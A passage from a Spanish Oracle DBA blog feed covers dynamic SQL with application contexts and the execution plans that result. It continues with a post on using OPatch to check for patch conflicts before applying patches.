&amp;nbsp;&amp;nbsp; v_filtro := v_filtro || ' AND e.empno = sys_context(''ctx'',''empno'')';
&amp;nbsp;&amp;nbsp; dbms_session.set_context ('ctx','empno',empno);
END IF;
IF mgr IS NOT NULL THEN
&amp;nbsp;&amp;nbsp; v_filtro := v_filtro || ' AND e.mgr = sys_context(''ctx'',''mgr'')';
&amp;nbsp;&amp;nbsp; dbms_session.set_context ('ctx','mgr',mgr);
END IF;
. . .&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Los planes de ejecución se ven mejor ahora:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Se proporciona solamente &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = :empno

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;24 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;11 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 3 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Se proporciona solamente &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE mgr = :mgr

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 3 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| EMP_MGR | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 3 - access("E"."MGR"=:MGR)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;3. Se proporciona tanto &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; como &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = :empno
&amp;nbsp;&amp;nbsp;AND e.mgr = :mgr

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter("E"."MGR"=:MGR)
&amp;nbsp;&amp;nbsp; 3 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;4. No se proporciona &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; ni &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 6 (100)|
| &amp;nbsp; 1 | &amp;nbsp;MERGE JOIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 336 | &amp;nbsp; &amp;nbsp; 6 &amp;nbsp;(17)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; SORT JOIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 154 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp;(25)|
| &amp;nbsp; 5 | &amp;nbsp; &amp;nbsp;TABLE ACCESS FULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 154 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 4 - access("E"."DEPTNO"="D"."DEPTNO")
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; filter("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Para cada una de las combinaciones mostradas, el &lt;b&gt;Optimizador&lt;/b&gt; ha estado en la capacidad de determinar un plan de ejecución eficiente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Quizás parte del razonamiento en este caso incluyó la consideración de que más vale tener una sentencia que varias y así evitar saturar el &lt;b&gt;&lt;i&gt;Shared Pool&lt;/i&gt;&lt;/b&gt;, pero en tanto &lt;b&gt;Oracle&lt;/b&gt; permite sentencias &lt;b&gt;SQL&lt;/b&gt; estáticas y dinámicas, debemos usar estas últimas cuando no sabemos con anticipación lo que el usuario final desea filtrar, no importa tanto que se generen múltiples sentencias. Los "artificios" permiten crear una sola sentencia pero aún cuando el &lt;b&gt;Optimizador&lt;/b&gt; haga su mejor esfuerzo, los planes de ejecución obtenidos serán sub-óptimos para la mayor parte de los casos, por tanto &lt;b&gt;es preferible&lt;/b&gt; invertir algo más de tiempo y &lt;b&gt;codificar una sentencia dinámica&lt;/b&gt; que nos da la garantía de planes de ejecución eficientes para cada caso.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/sql-dinamico-application-context.html"&gt;¿Query dinámico?, pero sin perder de vista el contexto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;Cursor sharing, histograms y bind peeking, lo que deberías saber para evitar sorpresas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/dbms-shared-pool-purge.html"&gt;¿Cómo deshacernos de un cursor en el Shared Pool?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-8887071514364810728?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/fdvGWArWUIU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:22:11.342-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/_13OOTtHDdJc/SXq6x7buG3I/AAAAAAAAASw/V-sqg8o_ytw/s72-c/hot.gif" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/01/poor-man-dynamic-sql.html</feedburner:origLink></item><item><title>¿Vas a aplicar un patch?, verifica posibles conflictos</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/7G4C4Q693CI/opatch-patch-evitar-conflicto.html</link><category>patching</category><category>Inventory</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 10 Jan 2009 18:45:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-3982427474500994279</guid><description>&lt;div&gt;De cuando en cuando nos topamos con algún problema que afecta el normal desempeño de la base de datos, o quizás de alguna aplicación, y luego de investigar llegamos a la conclusión de que es inevitable aplicar uno o varios &lt;b&gt;&lt;i&gt;patches&lt;/i&gt;&lt;/b&gt;, pero habrán notado que en el &lt;i&gt;README.txt&lt;/i&gt; que acompaña a todo &lt;i&gt;patch&lt;/i&gt; se indica:&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;"You must have NO OTHER PATCHES installed on your Oracle Server since the latest patch set"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;Esta advertencia hará dudar a algunos y habrá quienes harán caso omiso al mismo, siendo cuestión de suerte que todo salga bien, pero afortunadamente es posible determinar con anticipación si los &lt;i&gt;patches&lt;/i&gt; por aplicar entran en conflicto entre ellos o con &lt;i&gt;patches&lt;/i&gt; previamente aplicados, lo cual nos ahorrará muchos dolores de cabeza.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Patching "a lo macho"&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Tenemos plena confianza en que todo saldrá bien y aplicamos el &lt;i&gt;patch&lt;/i&gt; sin pensarlo mucho y cruzando los dedos, a veces se aplicará sin problemas, otras veces fallará, como en este caso en el que deseamos aplicar el patch &lt;b&gt;4459936&lt;/b&gt; &lt;b&gt;&lt;i&gt;FGA doesn't work correctly with ansi outer joins in 10g&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope 4459936]$ opatch apply
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.


Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-11-38AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '4459936' to OH '/u01/app/oracle/product/10.2.0/db_1'
Interim Patch 4459936 has Conflict with patch(es) [ &amp;nbsp;6996030 ] in OH /u01/app/oracle/product/10.2.0/db_1

&lt;span style="color: red;"&gt;Conflict patches: &amp;nbsp; 6996030

Patch(es) &amp;nbsp;6996030 conflict with the patch currently being installed (4459936).&lt;/span&gt;

If you continue, patch(es) &amp;nbsp;6996030 will be rolled back and the new patch (4459936) will be installed.

If a merge of the new patch (4459936) and the conflicting patch(es) ( 6996030) is required, contact Oracle Support Services and request a Merged patch.

Do you want to proceed? [y|n]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pues ocurre que el nuevo &lt;i&gt;patch&lt;/i&gt; entra en &lt;b&gt;conflicto&lt;/b&gt; con el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt; y si deseamos aplicarlo entonces Oracle tendrá que desinstalar el ya existente, algo que usualmente no deseamos hacer, pero mientras tanto perdimos tiempo pues tuvimos que suspender el servicio y posiblemente trabajar en un horario fuera de lo normal.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Patching Planificado&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Afortunadamente es posible evitar esta situación si previamente verificamos que no existan conflictos, algo que se puede lograr de forma muy sencilla con &lt;b&gt;&lt;i&gt;OPatch&lt;/b&gt;&lt;/i&gt;, pero antes de ver cómo, primero veamos qué &lt;i&gt;patches&lt;/i&gt; ya tenemos instalados:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope 5099019]$ opatch lsinventory
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.


Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-45-36AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Lsinventory Output file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/lsinv/lsinventory2008-12-31_01-45-36AM.txt

--------------------------------------------------------------------------------
Installed Top-level Products (3):

Oracle Database 10g &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;10.2.0.1.0
Oracle Database 10g Products &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;10.2.0.4.0
There are 3 products installed in this Oracle Home.


Interim patches (2) :

Patch &amp;nbsp;5099019 &amp;nbsp; &amp;nbsp; &amp;nbsp;: applied on Wed Dec 31 01:42:18 PET 2008
&amp;nbsp;&amp;nbsp; Created on 1 Dec 2008, 08:03:06 hrs PST8PDT
&amp;nbsp;&amp;nbsp; Bugs fixed:
&amp;nbsp;&amp;nbsp; &amp;nbsp; 5099019

Patch &amp;nbsp;6996030 &amp;nbsp; &amp;nbsp; &amp;nbsp;: applied on Wed Sep 10 11:08:30 PET 2008
&amp;nbsp;&amp;nbsp; Created on 21 Oct 2008, 06:57:58 hrs PST8PDT
&amp;nbsp;&amp;nbsp; Bugs fixed:
&amp;nbsp;&amp;nbsp; &amp;nbsp; 6964283, 6940487, 4740049, 6996030, 6954407, 6023472, 4085593, 6340297
&amp;nbsp;&amp;nbsp; &amp;nbsp; 6655588, 6726958



--------------------------------------------------------------------------------

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Tenemos un par de &lt;i&gt;patches&lt;/i&gt; ya aplicados, el &lt;b&gt;5099019&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_stats doesn't count leaf_blocks correctly&lt;/b&gt;&lt;/i&gt; y el &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt;, pero ahora queremos aplicar muchos más:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ ls /home/oracle/patches
4459936 &amp;nbsp;5586604 &amp;nbsp;6051177 &amp;nbsp;6084232 &amp;nbsp;6399168 &amp;nbsp;6894671 &amp;nbsp;6926448 &amp;nbsp;7123643 &amp;nbsp;7191744
7243560 &amp;nbsp;5523375 &amp;nbsp;5895190 &amp;nbsp;6055481 &amp;nbsp;6369463 &amp;nbsp;6678845 &amp;nbsp;6897966 &amp;nbsp;7025450 &amp;nbsp;7189722
7226463 &amp;nbsp;7331929&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora veamos si entre ellos existe algún conflicto:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ opatch prereq CheckConflictAmongPatchesWithDetail -phBaseDir /home/oracle/patches
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.

PREREQ session

Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-03AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictamongpatcheswithdetail"

Prereq "checkConflictAmongPatchesWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
4459936, 5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6399168, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

&lt;span style="color: red;"&gt;Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
7025450, 7191744&lt;/span&gt;

Conflicts/Supersets for each patch are:

Patch : 7025450

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7191744
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7025450
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;&lt;i&gt;OPatch&lt;/b&gt;&lt;/i&gt; nos notifica que existe un conflicto entre los &lt;i&gt;patches&lt;/i&gt; &lt;b&gt;7025450&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_shared_pool.keep doesn't keep future child cursors&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;7191744&lt;/b&gt; &lt;b&gt;&lt;i&gt;update in wrong schema&lt;/b&gt;&lt;/i&gt;, pero ¿existirán conflictos adicionales con los &lt;i&gt;patches&lt;/i&gt; ya instalados? pues averigüémoslo:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir /home/oracle/patches/
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.

PREREQ session

Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
